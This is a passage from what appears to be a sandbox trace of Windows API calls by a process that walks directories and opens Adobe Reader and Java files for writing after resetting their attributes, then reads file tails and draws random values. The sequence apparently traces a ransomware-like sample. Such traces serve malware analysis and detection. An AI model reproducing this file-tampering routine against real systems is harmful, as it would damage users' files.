dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0180.279] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2=".") returned 1 [0180.279] wcscmp (_String1="Windows PowerShell ISE.lnk", _String2="..") returned 1 [0180.279] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0180.279] wcscmp (_String1="Windows PowerShell.lnk", _String2=".") returned 1 [0180.279] wcscmp (_String1="Windows PowerShell.lnk", _String2="..") returned 1 [0180.279] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 0 [0180.279] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0180.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0180.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36d50) returned 1 [0180.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278b30) returned 1 Thread: id = 3485 os_tid = 0x1e24 [0191.622] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2")) returned 0x20 [0191.625] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2", dwFileAttributes=0x20) returned 0 [0191.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.625] GetLastError () returned 0x5 [0191.625] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2", dwFileAttributes=0x20) returned 0 [0191.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c313f0) returned 1 Thread: id = 3486 os_tid = 0x1e18 [0191.648] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v")) returned 0x20 [0191.649] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V", dwFileAttributes=0x20) returned 0 [0191.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.650] GetLastError () returned 0x5 [0191.650] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V", dwFileAttributes=0x20) returned 0 [0191.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31170) returned 1 Thread: id = 3487 os_tid = 0x1e14 [0191.653] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h")) returned 0x20 [0191.654] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H", dwFileAttributes=0x20) returned 0 [0191.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.654] GetLastError () returned 0x5 [0191.654] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H", dwFileAttributes=0x20) returned 0 [0191.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31210) returned 1 Thread: id = 3488 os_tid = 0x1e10 [0191.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h")) returned 0x20 [0191.707] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H", dwFileAttributes=0x20) returned 0 [0191.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.708] GetLastError () returned 0x5 [0191.708] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H", dwFileAttributes=0x20) returned 0 [0191.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced32b0) returned 1 Thread: id = 3489 os_tid = 0x1e0c [0191.711] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v")) returned 0x20 [0191.711] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V", dwFileAttributes=0x20) returned 0 [0191.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.712] GetLastError () returned 0x5 [0191.712] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V", dwFileAttributes=0x20) returned 0 [0191.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 Thread: id = 3490 os_tid = 0x1eb4 [0193.019] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v")) returned 0x20 [0193.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V", dwFileAttributes=0x20) returned 0 [0193.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0193.020] GetLastError () returned 0x5 [0193.020] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V", dwFileAttributes=0x20) returned 0 [0193.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 Thread: id = 3491 os_tid = 0x1eb8 [0193.024] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h")) returned 0x20 [0193.024] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H", dwFileAttributes=0x20) returned 0 [0193.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0193.024] GetLastError () returned 0x5 [0193.025] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H", dwFileAttributes=0x20) returned 0 [0193.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22480) returned 1 Thread: id = 3492 os_tid = 0x1f20 [0193.028] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2")) returned 0x20 [0193.028] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0193.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0193.028] GetLastError () returned 0x5 [0193.028] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0193.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 Thread: id = 3493 os_tid = 0x1f24 [0193.031] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c")) returned 0x20 [0194.757] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C", dwFileAttributes=0x20) returned 0 [0194.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-ucs2c"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.759] GetLastError () returned 0x5 [0194.759] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-UCS2C", dwFileAttributes=0x20) returned 0 [0194.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31350) returned 1 Thread: id = 3494 os_tid = 0x1f28 [0193.033] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj")) returned 0x20 [0194.758] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ", dwFileAttributes=0x20) returned 0 [0194.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90ms-rksj"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.762] GetLastError () returned 0x5 [0194.762] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90ms-RKSJ", dwFileAttributes=0x20) returned 0 [0194.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c312b0) returned 1 Thread: id = 3495 os_tid = 0x1f4c [0193.035] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj")) returned 0x20 [0194.780] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ", dwFileAttributes=0x20) returned 0 [0194.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.793] GetLastError () returned 0x5 [0194.793] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ", dwFileAttributes=0x20) returned 0 [0194.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507d70) returned 1 Thread: id = 3496 os_tid = 0x2020 [0193.036] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc")) returned 0x20 [0194.750] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc", dwFileAttributes=0x20) returned 0 [0194.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.752] GetLastError () returned 0x5 [0194.752] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc", dwFileAttributes=0x20) returned 0 [0194.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22bd0) returned 1 Thread: id = 3497 os_tid = 0x2024 [0193.037] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5")) returned 0x20 [0194.794] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5", dwFileAttributes=0x20) returned 0 [0194.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.827] GetLastError () returned 0x5 [0194.827] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5", dwFileAttributes=0x20) returned 0 [0194.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22090) returned 1 Thread: id = 3498 os_tid = 0x2028 [0193.038] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc")) returned 0x20 [0194.777] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC", dwFileAttributes=0x20) returned 0 [0194.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.791] GetLastError () returned 0x5 [0194.791] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC", dwFileAttributes=0x20) returned 0 [0194.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22c60) returned 1 Thread: id = 3499 os_tid = 0x202c [0193.039] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc")) returned 0x20 [0194.833] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0194.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.833] GetLastError () returned 0x5 [0194.833] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0194.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507910) returned 1 Thread: id = 3500 os_tid = 0x2030 [0193.040] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc")) returned 0x20 [0194.774] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC", dwFileAttributes=0x20) returned 0 [0194.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.789] GetLastError () returned 0x5 [0194.789] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC", dwFileAttributes=0x20) returned 0 [0194.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509490) returned 1 Thread: id = 3501 os_tid = 0x2070 [0193.042] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc")) returned 0x20 [0194.772] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC", dwFileAttributes=0x20) returned 0 [0194.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.786] GetLastError () returned 0x5 [0194.787] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC", dwFileAttributes=0x20) returned 0 [0194.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507b90) returned 1 Thread: id = 3503 os_tid = 0x214c [0193.044] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v")) returned 0x20 [0194.785] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V", dwFileAttributes=0x20) returned 0 [0194.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.811] GetLastError () returned 0x5 [0194.811] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-V", dwFileAttributes=0x20) returned 0 [0194.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 Thread: id = 3504 os_tid = 0x2154 [0193.045] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h")) returned 0x20 [0194.789] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H", dwFileAttributes=0x20) returned 0 [0194.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.822] GetLastError () returned 0x5 [0194.823] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H", dwFileAttributes=0x20) returned 0 [0194.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507e10) returned 1 Thread: id = 3505 os_tid = 0x2158 [0193.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v")) returned 0x20 [0194.787] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V", dwFileAttributes=0x20) returned 0 [0194.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.815] GetLastError () returned 0x5 [0194.815] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V", dwFileAttributes=0x20) returned 0 [0194.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205077d0) returned 1 Thread: id = 3533 os_tid = 0x1f94 [0210.113] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\gray.pf")) returned 0x20 [0210.113] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf", dwFileAttributes=0x20) returned 1 [0210.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2408 [0210.116] GetFileSizeEx (in: hFile=0x2408, lpFileSize=0x1e3bfb20 | out: lpFileSize=0x1e3bfb20*=632) returned 1 [0210.116] SetFilePointerEx (in: hFile=0x2408, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.116] ReadFile (in: hFile=0x2408, lpBuffer=0x1e3bfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e3bfae8, lpOverlapped=0x0 | out: lpBuffer=0x1e3bfaa0*, lpNumberOfBytesRead=0x1e3bfae8*=0x4, lpOverlapped=0x0) returned 1 [0210.117] SetFilePointerEx (in: hFile=0x2408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0210.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab90 [0210.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0210.119] NtQuerySystemTime (in: CurrentTime=0x1e3bf9e0 | out: CurrentTime=0x1e3bf9e0*=132462178149910000) returned 0x0 [0210.119] RtlRandomEx (in: 